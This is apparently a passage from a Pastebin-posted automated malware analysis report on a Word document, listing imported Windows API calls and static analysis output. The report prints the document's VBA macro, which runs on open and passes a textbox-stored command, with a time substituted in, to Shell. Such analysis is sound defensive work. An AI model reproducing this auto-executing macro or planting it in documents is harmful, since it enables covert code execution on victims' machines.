  1951. "uxtheme.dll.IsThemePartDefined",
  1952. "uxtheme.dll.GetThemeBool",
  1953. "uxtheme.dll.GetThemeFont",
  1954. "comctl32.dll.HIMAGELIST_QueryInterface",
  1955. "comctl32.dll.DrawShadowText",
  1956. "comctl32.dll.DrawSizeBox",
  1957. "comctl32.dll.DrawScrollBar",
  1958. "comctl32.dll.SizeBoxHwnd",
  1959. "comctl32.dll.ScrollBar_MouseMove",
  1960. "comctl32.dll.ScrollBar_Menu",
  1961. "comctl32.dll.HandleScrollCmd",
  1962. "comctl32.dll.DetachScrollBars",
  1963. "comctl32.dll.AttachScrollBars",
  1964. "comctl32.dll.CCSetScrollInfo",
  1965. "comctl32.dll.CCGetScrollInfo",
  1966. "comctl32.dll.CCEnableScrollBar",
  1967. "comctl32.dll.QuerySystemGestureStatus",
  1968. "uxtheme.dll.#49",
  1969. "mso.dll.#656",
  1970. "user32.dll.GetFocus",
  1971. "mso.dll.#7640",
  1972. "user32.dll.GetScrollRange",
  1973. "uxtheme.dll.GetThemeMargins",
  1974. "uxtheme.dll.GetThemeInt",
  1975. "uxtheme.dll.SetWindowTheme",
  1976. "uxtheme.dll.CloseThemeData",
  1977. "imm32.dll.ImmAssociateContext",
  1978. "uxtheme.dll.EnableThemeDialogTexture",
  1979. "gdi32.dll.GdiIsMetaPrintDC",
  1980. "imm32.dll.ImmIsIME",
  1981. "uxtheme.dll.GetThemeTextMetrics",
  1982. "uxtheme.dll.GetThemeTextExtent",
  1983. "uxtheme.dll.GetThemeBackgroundExtent",
  1984. "user32.dll.EqualRect",
  1985. "user32.dll.GetActiveWindow",
  1986. "user32.dll.SetRect",
  1987. "user32.dll.CreateWindowExA",
  1988. "user32.dll.DefWindowProcA",
  1989. "user32.dll.SetWindowLongA",
  1990. "user32.dll.GetWindowLongA",
  1991. "user32.dll.IsWindowUnicode",
  1992. "user32.dll.SetWindowTextA",
  1993. "user32.dll.IsWindowVisible",
  1994. "user32.dll.GetParent",
  1995. "user32.dll.IsIconic",
  1996. "user32.dll.IsRectEmpty",
  1997. "user32.dll.NotifyWinEvent",
  1998. "user32.dll.UpdateWindow",
  1999. "user32.dll.ShowWindow",
  2000. "user32.dll.LoadStringW",
  2001. "user32.dll.LoadAcceleratorsW",
  2002. "riched20.dll.CreateTextServices",
  2003. "user32.dll.RegisterClipboardFormatW",
  2004. "user32.dll.GetDoubleClickTime",
  2005. "user32.dll.SetCaretBlinkTime",
  2006. "user32.dll.SystemParametersInfoW",
  2007. "user32.dll.GetKeyboardLayoutList",
  2008. "mso.dll._MsoGetFidUspDll@0",
  2009. "mso.dll._MsoLoadLocalizedLibraryEx@12",
  2010. "usp10.dll.ScriptGetProperties",
  2011. "usp10.dll.ScriptItemize",
  2012. "user32.dll.LoadCursorW",
  2013. "user32.dll.GetKeyboardLayout",
  2014. "ole32.dll.CoCreateInstance",
  2015. "usp10.dll.ScriptGetCMap",
  2016. "user32.dll.SetWindowLongW",
  2017. "user32.dll.GetWindowLongW",
  2018. "user32.dll.PostMessageW",
  2019. "user32.dll.InvalidateRect",
  2020. "usp10.dll.ScriptShape",
  2021. "user32.dll.LoadBitmapW",
  2022. "user32.dll.GetUpdateRect",
  2023. "user32.dll.DestroyWindow",
  2024. "vbe7.dll.#546",
  2025. "vbe7.dll.#539",
  2026. "vbe7.dll.#660",
  2027. "vbe7.dll.#712",
  2028. "vbe7.dll.#600",
  2029. "kernel32.dll.GetCalendarInfoW",
  2030. "mso.dll.#8735",
  2031. "oleaut32.dll.SysAllocStringLen",
  2032. "ws2_32.dll.#116",
  2033. "mso.dll.#791",
  2034. "mso.dll.#1848",
  2035. "mso.dll.#9374",
  2036. "ole32.dll.CoGetCallState",
  2037. "ole32.dll.CoGetActivationState",
  2038. "advapi32.dll.RegisterWaitChainCOMCallback",
  2039. "mso.dll.#5286",
  2040. "mso.dll.#6368",
  2041. "mso.dll.#1010",
  2042. "mso.dll.#7979",
  2043. "mso.dll.#8549",
  2044. "mso.dll.#2863",
  2045. "mso.dll.#8970",
  2046. "mso.dll.#9198",
  2047. "mso.dll.#4795",
  2048. "mso.dll.#1865",
  2049. "mso.dll.#9688",
  2050. "mso.dll.#320",
  2051. "advapi32.dll.RegDeleteKeyA",
  2052. "user32.dll.DestroyCursor",
  2053. "mso.dll.#7173",
  2054. "mso.dll.#8511",
  2055. "mso.dll.#3299",
  2056. "mso.dll.#7001",
  2057. "mso.dll.#8140",
  2058. "mso.dll.#3913",
  2059. "user32.dll.PeekMessageA",
  2060. "mso.dll.#1380",
  2061. "mso.dll.#9500",
  2062. "user32.dll.TranslateMessage",
  2063. "user32.dll.DispatchMessageA",
  2064. "user32.dll.DispatchMessageW",
  2065. "kernel32.dll.WerRegisterMemoryBlock",
  2066. "dwrite.dll.DWriteCreateFactory",
  2067. "user32.dll.GetForegroundWindow",
  2068. "mso.dll.#999",
  2069. "mso.dll.#287",
  2070. "dwmapi.dll.DwmIsCompositionEnabled",
  2071. "mso.dll.#1575",
  2072. "mso.dll.#5034",
  2073. "mso.dll.#1517",
  2074. "mso.dll.#718",
  2075. "mso.dll.#4708",
  2076. "mso.dll.#4175",
  2077. "mso.dll.#8672",
  2078. "mso.dll.#1990",
  2079. "mso.dll.#3051",
  2080. "mso.dll.#1819",
  2081. "mso.dll.#1419",
  2082. "oleaut32.dll.#147",
  2083. "gdi32.dll.GetCurrentObject",
  2084. "gdi32.dll.BitBlt",
  2085. "gdi32.dll.GetClipBox",
  2086. "gdi32.dll.StretchDIBits",
  2087. "riched20.dll.REExtendedRegisterClass",
  2088. "user32.dll.DefWindowProcW",
  2089. "uxtheme.dll.IsThemeActive",
  2090. "uxtheme.dll.IsAppThemed",
  2091. "user32.dll.HideCaret",
  2092. "user32.dll.ShowCaret",
  2093. "user32.dll.GetWindowTextLengthW",
  2094. "user32.dll.EnableWindow",
  2095. "msctf.dll.SetInputScope",
  2096. "user32.dll.GetWindowRgn",
  2097. "gdi32.dll.CreateCompatibleBitmap",
  2098. "gdi32.dll.SaveDC",
  2099. "gdi32.dll.SetPixel",
  2100. "gdi32.dll.GetPixel",
  2101. "gdi32.dll.RestoreDC",
  2102. "mso.dll.#806",
  2103. "mso.dll.#4908",
  2104. "mso.dll.#8439",
  2105. "mso.dll.#2736",
  2106. "gdi32.dll.GetTextAlign",
  2107. "gdi32.dll.ExtTextOutW",
  2108. "mso.dll.#8122",
  2109. "mso.dll.#2114",
  2110. "mso.dll.#6558",
  2111. "gdi32.dll.GetFontData",
  2112. "usp10.dll.ScriptItemizeOpenType",
  2113. "usp10.dll.ScriptShapeOpenType",
  2114. "usp10.dll.ScriptPlaceOpenType",
  2115. "mso.dll.#8395",
  2116. "mso.dll.#379",
  2117. "mso.dll.#6338",
  2118. "mso.dll.#7964",
  2119. "mso.dll.#1437",
  2120. "mso.dll.#1427",
  2121. "mso.dll.#6137",
  2122. "winmm.dll.timeGetTime",
  2123. "mso.dll.#5940",
  2124. "usp10.dll.ScriptPlace",
  2125. "usp10.dll.ScriptJustify",
  2126. "usp10.dll.ScriptTextOut",
  2127. "usp10.dll.ScriptCPtoX",
  2128. "usp10.dll.ScriptXtoCP",
  2129. "usp10.dll.ScriptFreeCache",
  2130. "usp10.dll.ScriptCacheGetHeight",
  2131. "usp10.dll.ScriptLayout",
  2132. "usp10.dll.ScriptBreak",
  2133. "usp10.dll.ScriptIsComplex",
  2134. "usp10.dll.ScriptGetLogicalWidths",
  2135. "usp10.dll.ScriptApplyLogicalWidth",
  2136. "usp10.dll.ScriptGetGlyphABCWidth",
  2137. "usp10.dll.ScriptGetFontProperties",
  2138. "usp10.dll.ScriptApplyDigitSubstitution",
  2139. "usp10.dll.ScriptRecordDigitSubstitution",
  2140. "usp10.dll.ScriptGetFontAlternateGlyphs",
  2141. "mso.dll.#7578",
  2142. "mso.dll.#8483",
  2143. "mso.dll.#2613",
  2144. "mso.dll.#7848",
  2145. "user32.dll.GetClassNameA",
  2146. "user32.dll.IsWindowRedirectedForPrint",
  2147. "gdi32.dll.CreateRectRgnIndirect",
  2148. "user32.dll.GetUpdateRgn",
  2149. "gdi32.dll.GetRgnBox",
  2150. "user32.dll.ValidateRect",
  2151. "user32.dll.BeginPaint",
  2152. "user32.dll.EndPaint",
  2153. "mso.dll.#3624",
  2154. "msptls.dll.?LsPointXYFromPointUV@Ptls6@@YGJPBUtagLSPOINT@1@KPBUtagLSPOINTUV@1@PAU21@@Z",
  2155. "msptls.dll.?LsDisplayLine@Ptls6@@YGJPAVCLsLine@1@PBUtagLSPOINT@1@IPBUtagLSRECT@1@@Z",
  2156. "mso.dll.#6247",
  2157. "gdi32.dll.TranslateCharsetInfo",
  2158. "mso.dll.#3300",
  2159. "mso.dll.#7465",
  2160. "gdi32.dll.SetWindowOrgEx",
  2161. "mso.dll.#732",
  2162. "mso.dll.#5804",
  2163. "mso.dll.#2155",
  2164. "mso.dll.#4746",
  2165. "msptls.dll.?LsPointUV2FromPointUV1@Ptls6@@YGJKPBUtagLSPOINTUV@1@0KPAU21@@Z",
  2166. "msptls.dll.?LsQueryLinePointPcp@Ptls6@@YGJPAVCLsLine@1@PBUtagLSPOINTUV@1@JPAUlsqsubinfo@1@PAJPAUlstextcell@1@@Z",
  2167. "user32.dll.ScreenToClient",
  2168. "mso.dll.#434",
  2169. "user32.dll.GetMessageExtraInfo",
  2170. "user32.dll.GetCursorInfo",
  2171. "user32.dll.GetCapture",
  2172. "user32.dll.TrackMouseEvent",
  2173. "user32.dll.GetInputState",
  2174. "mso.dll.#6960",
  2175. "mso.dll.#8705",
  2176. "mso.dll.#7892",
  2177. "msi.dll.#39",
  2178. "mso.dll.#7931",
  2179. "mso.dll.#3837",
  2180. "mso.dll.#8574",
  2181. "mso.dll.#8398",
  2182. "mso.dll.#2477",
  2183. "msproof7.dll.DllGetClassObject",
  2184. "msproof7.dll.DllCanUnloadNow",
  2185. "mso.dll.#4172",
  2186. "mso.dll.#1439",
  2187. "user32.dll.GetWindowDC",
  2188. "gdi32.dll.SetLayout",
  2189. "gdi32.dll.RectVisible",
  2190. "gdi32.dll.GetClipRgn",
  2191. "gdi32.dll.ExcludeClipRect",
  2192. "gdi32.dll.SelectClipRgn",
  2193. "user32.dll.GetDesktopWindow",
  2194. "user32.dll.WindowFromPoint",
  2195. "user32.dll.FindWindowExW",
  2196. "user32.dll.GetMessagePos",
  2197. "user32.dll.SetFocus",
  2198. "mso.dll.#9528",
  2199. "mso.dll.#5341",
  2200. "mso.dll.#8461",
  2201. "user32.dll.GetClipboardOwner",
  2202. "user32.dll.GetAncestor",
  2203. "mso.dll.#3544",
  2204. "advapi32.dll.NotifyServiceStatusChangeW",
  2205. "mso.dll.#9465",
  2206. "mso.dll.#900",
  2207. "mso.dll.#1422",
  2208. "user32.dll.MsgWaitForMultipleObjectsEx",
  2209. "mso.dll.#8662",
  2210. "gdiplus.dll.GdipLoadImageFromStreamICM",
  2211. "windowscodecs.dll.DllGetClassObject",
  2212. "gdiplus.dll.GdipGetImageRawFormat",
  2213. "gdiplus.dll.GdipGetImageFlags",
  2214. "gdiplus.dll.GdipGetImageWidth",
  2215. "gdiplus.dll.GdipGetImageHeight",
  2216. "gdiplus.dll.GdipGetImagePixelFormat",
  2217. "gdiplus.dll.GdipGetImageHorizontalResolution",
  2218. "gdiplus.dll.GdipGetImageVerticalResolution",
  2219. "gdiplus.dll.GdipImageGetFrameCount",
  2220. "gdiplus.dll.GdipDisposeImage",
  2221. "mso.dll.#2052",
  2222. "gdiplus.dll.GdipDeletePath",
  2223. "mso.dll.#7555",
  2224. "mso.dll.#5070",
  2225. "mso.dll.#1566",
  2226. "mso.dll.#7678",
  2227. "gdiplus.dll.GdipCreatePath",
  2228. "gdiplus.dll.GdipStartPathFigure",
  2229. "gdiplus.dll.GdipAddPathLine2",
  2230. "gdiplus.dll.GdipClosePathFigure",
  2231. "gdiplus.dll.GdipClonePath",
  2232. "gdiplus.dll.GdipCreateMatrix2",
  2233. "gdiplus.dll.GdipTransformPath",
  2234. "gdiplus.dll.GdipDeleteMatrix",
  2235. "gdiplus.dll.GdipAddPathPolygon",
  2236. "gdiplus.dll.GdipGetPathWorldBounds",
  2237. "gdiplus.dll.GdipCreatePen1",
  2238. "gdiplus.dll.GdipSetPenLineCap197819",
  2239. "gdiplus.dll.GdipSetPenLineJoin",
  2240. "gdiplus.dll.GdipSetPenMiterLimit",
  2241. "gdiplus.dll.GdipCreatePathIter",
  2242. "gdiplus.dll.GdipPathIterRewind",
  2243. "gdiplus.dll.GdipPathIterNextSubpath",
  2244. "gdiplus.dll.GdipPathIterCopyData",
  2245. "gdiplus.dll.GdipDeletePathIter",
  2246. "gdiplus.dll.GdipAddPathLine",
  2247. "gdiplus.dll.GdipClonePen",
  2248. "gdiplus.dll.GdipSetPenStartCap",
  2249. "gdiplus.dll.GdipSetPenEndCap",
  2250. "gdiplus.dll.GdipDeletePen",
  2251. "gdiplus.dll.GdipCreateFromHDC",
  2252. "gdiplus.dll.GdipSetPixelOffsetMode",
  2253. "gdiplus.dll.GdipSetSmoothingMode",
  2254. "gdiplus.dll.GdipSetCompositingQuality",
  2255. "gdiplus.dll.GdipSetPageUnit",
  2256. "gdiplus.dll.GdipSetInterpolationMode",
  2257. "gdiplus.dll.GdipGetSmoothingMode",
  2258. "gdiplus.dll.GdipTransformPoints",
  2259. "gdiplus.dll.GdipCreateBitmapFromGraphics",
  2260. "gdiplus.dll.GdipGetImageGraphicsContext",
  2261. "gdiplus.dll.GdipTranslateWorldTransform",
  2262. "gdiplus.dll.GdipCreateImageAttributes",
  2263. "gdiplus.dll.GdipSetImageAttributesWrapMode",
  2264. "gdiplus.dll.GdipGetImageType",
  2265. "gdiplus.dll.GdipGetImageBounds",
  2266. "gdiplus.dll.GdipDrawImagePointsRect",
  2267. "oleaut32.dll.#12",
  2268. "oleaut32.dll.#8",
  2269. "oleaut32.dll.#10",
  2270. "mscms.dll.OpenColorProfileA",
  2271. "mscms.dll.OpenColorProfileW",
  2272. "mscms.dll.CreateMultiProfileTransform",
  2273. "mscms.dll.TranslateBitmapBits",
  2274. "mscms.dll.CloseColorProfile",
  2275. "mscms.dll.DeleteColorTransform",
  2276. "mscms.dll.GetStandardColorSpaceProfileW",
  2277. "mscms.dll.GetColorProfileFromHandle",
  2278. "icm32.dll.CMGetInfo",
  2279. "icm32.dll.CMCreateTransformExtW",
  2280. "icm32.dll.CMDeleteTransform",
  2281. "icm32.dll.CMTranslateRGBsExt",
  2282. "icm32.dll.CMCheckRGBs",
  2283. "icm32.dll.CMCreateMultiProfileTransform",
  2284. "icm32.dll.CMTranslateColors",
  2285. "icm32.dll.CMCheckColors",
  2286. "icm32.dll.CMCreateProfileW",
  2287. "icm32.dll.CMGetNamedProfileInfo",
  2288. "icm32.dll.CMConvertColorNameToIndex",
  2289. "icm32.dll.CMConvertIndexToColorName",
  2290. "icm32.dll.CMCreateDeviceLinkProfile",
  2291. "icm32.dll.CMIsProfileValid",
  2292. "user32.dll.IsHungAppWindow",
  2293. "gdiplus.dll.GdipDisposeImageAttributes",
  2294. "gdiplus.dll.GdipDeleteGraphics",
  2295. "gdiplus.dll.GdipCreateCachedBitmap",
  2296. "gdiplus.dll.GdipDrawCachedBitmap",
  2297. "mso.dll.#6899",
  2298. "user32.dll.GetScrollPos",
  2299. "mso.dll.#629",
  2300. "kernel32.dll.FlsAlloc",
  2301. "kernel32.dll.FlsGetValue",
  2302. "kernel32.dll.FlsSetValue",
  2303. "kernel32.dll.FlsFree",
  2304. "ieawsdc.dll.HrExtractTemplateToPath",
  2305. "advapi32.dll.CryptAcquireContextA",
  2306. "cryptsp.dll.CryptAcquireContextA",
  2307. "advapi32.dll.CryptGenKey",
  2308. "cryptsp.dll.CryptGenKey",
  2309. "crypt32.dll.CryptQueryObject",
  2310. "advapi32.dll.CryptImportKey",
  2311. "wintrust.dll.CryptSIPPutSignedDataMsg",
  2312. "wintrust.dll.CryptSIPGetSignedDataMsg",
  2313. "cryptsp.dll.CryptImportKey",
  2314. "advapi32.dll.CryptExportKey",
  2315. "cryptsp.dll.CryptExportKey",
  2316. "advapi32.dll.CryptDestroyKey",
  2317. "cryptsp.dll.CryptGetDefaultProviderW",
  2318. "cryptsp.dll.CryptDestroyKey",
  2319. "cryptsp.dll.CryptAcquireContextW",
  2320. "crypt32.dll.CertEnumCertificatesInStore",
  2321. "crypt32.dll.CryptVerifyCertificateSignatureEx",
  2322. "cryptsp.dll.CryptReleaseContext",
  2323. "wintrust.dll.WinVerifyTrust",
  2324. "wintrust.dll.WintrustCertificateTrust",
  2325. "wintrust.dll.SoftpubAuthenticode",
  2326. "wintrust.dll.SoftpubInitialize",
  2327. "wintrust.dll.SoftpubLoadMessage",
  2328. "wintrust.dll.SoftpubLoadSignature",
  2329. "wintrust.dll.SoftpubCheckCert",
  2330. "wintrust.dll.SoftpubCleanup",
  2331. "wintrust.dll.CryptSIPVerifyIndirectData",
  2332. "cryptsp.dll.CryptCreateHash",
  2333. "cryptsp.dll.CryptHashData",
  2334. "cryptsp.dll.CryptGetHashParam",
  2335. "cryptsp.dll.CryptDestroyHash",
  2336. "advapi32.dll.RegDeleteValueW",
  2337. "lpk.dll.LpkEditControl",
  2338. "comctl32.dll.InitCommonControlsEx",
  2339. "kernel32.dll.SortGetHandle",
  2340. "kernel32.dll.SortCloseHandle",
  2341. "kernel32.dll.GetNativeSystemInfo",
  2342. "kernel32.dll.GetSystemWow64DirectoryW",
  2343. "ntdll.dll.WinSqmIsOptedIn",
  2344. "shlwapi.dll.UrlIsW",
  2345. "shlwapi.dll.UrlGetPartW",
  2346. "ole32.dll.StgOpenStorage",
  2347. "kernel32.dll.GetThreadPreferredUILanguages",
  2348. "ole32.dll.CoInitialize",
  2349. "cryptbase.dll.SystemFunction036",
  2350. "uxtheme.dll.ThemeInitApiHook",
  2351. "user32.dll.IsProcessDPIAware",
  2352. "netapi32.dll.NetGetJoinInformation",
  2353. "netapi32.dll.NetApiBufferFree",
  2354. "ole32.dll.CoQueryProxyBlanket",
  2355. "msi.dll.DllGetClassObject",
  2356. "msi.dll.DllCanUnloadNow",
  2357. "ole32.dll.CoSetProxyBlanket",
  2358. "kernel32.dll.SetThreadExecutionState",
  2359. "ole32.dll.CoTaskMemAlloc",
  2360. "shell32.dll.SHChangeNotify",
  2361. "ole32.dll.CoTaskMemFree",
  2362. "ole32.dll.CoInitializeEx",
  2363. "ole32.dll.CoUninitialize",
  2364. "oleaut32.dll.#500"
  2365. ]
  2366.  
  2367. [*] Static Analysis: {
  2368. "office": {
  2369. "Macro": {
  2370. "Code": {
  2371. "Macro1": [
  2372. [
  2373. "ThisDocument.cls",
  2374. "Sub document_open()\nDim time\ntime = Format(Now + TimeSerial(0, 0, 37), \"hh:mm\")\n\n\nShell Replace(UserForm1.TextBox1.Text, \"11:11\", time)\nEnd Sub"
  2375. ]
  2376. ]
  2377. },
  2378. "Analysis": {
  2379. "Suspicious": [
  2380. [
  2381. "Shell",
  2382. "May run an executable file or a system command"
  2383. ]
  2384. ],
  2385. "AutoExec": [
  2386. [
  2387. "Document_Open",
  2388. "Runs when the Word document is opened"
  2389. ]
  2390. ]
  2391. }
  2392. },
  2393. "Metadata": {
  2394. "SummaryInformation": {
  2395. "num_words": "0",
  2396. "num_pages": "1",
  2397. "last_saved_by": "1",
  2398. "creating_application": "Microsoft Office Word",
  2399. "author": "Microsoft Office",
  2400. "revision_number": "12",
  2401. "codepage": "1251",
  2402. "title": "",
  2403. "comments": "",
  2404. "num_chars": "1",
  2405. "total_edit_time": "22440",
  2406. "create_time": "None",
  2407. "template": "Normal.dotm",
  2408. "last_printed": "None",
  2409. "keywords": "",
  2410. "security": "0",
  2411. "last_saved_time": "None",
  2412. "thumbnail": "None",
  2413. "subject": ""
  2414. },
  2415. "DocumentSummaryInformation": {
  2416. "codepage_doc": "1251",
  2417. "chars_with_spaces": "1",
  2418. "shared_doc": "False",
  2419. "paragraphs": "1",
  2420. "hidden_slides": "None",
  2421. "mm_clips": "None",
  2422. "category": "None",
  2423. "presentation_target": "None",
  2424. "hlinks_changed": "False",
  2425. "scale_crop": "False",
  2426. "version": "1048576",
  2427. "hlinks": "None",
  2428. "link_base": "None",
  2429. "company": "Microsoft Corporation",
  2430. "unused": "None",
  2431. "dig_sig": "None",
  2432. "content_type": "None",
  2433. "heading_pairs": "None",
  2434. "slides": "None",
  2435. "links_dirty": "False",
  2436. "language": "None",
  2437. "notes": "None",
  2438. "bytes": "None",
  2439. "manager": "None",
  2440. "content_status": "None",
  2441. "doc_version": "None",
  2442. "titles_of_parts": "None",
  2443. "lines": "1"
  2444. },
  2445. "HasMacros": "Yes",
  2446. "DocumentType": "Word Document"
  2447. }
  2448. }
  2449. }
Advertisement
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!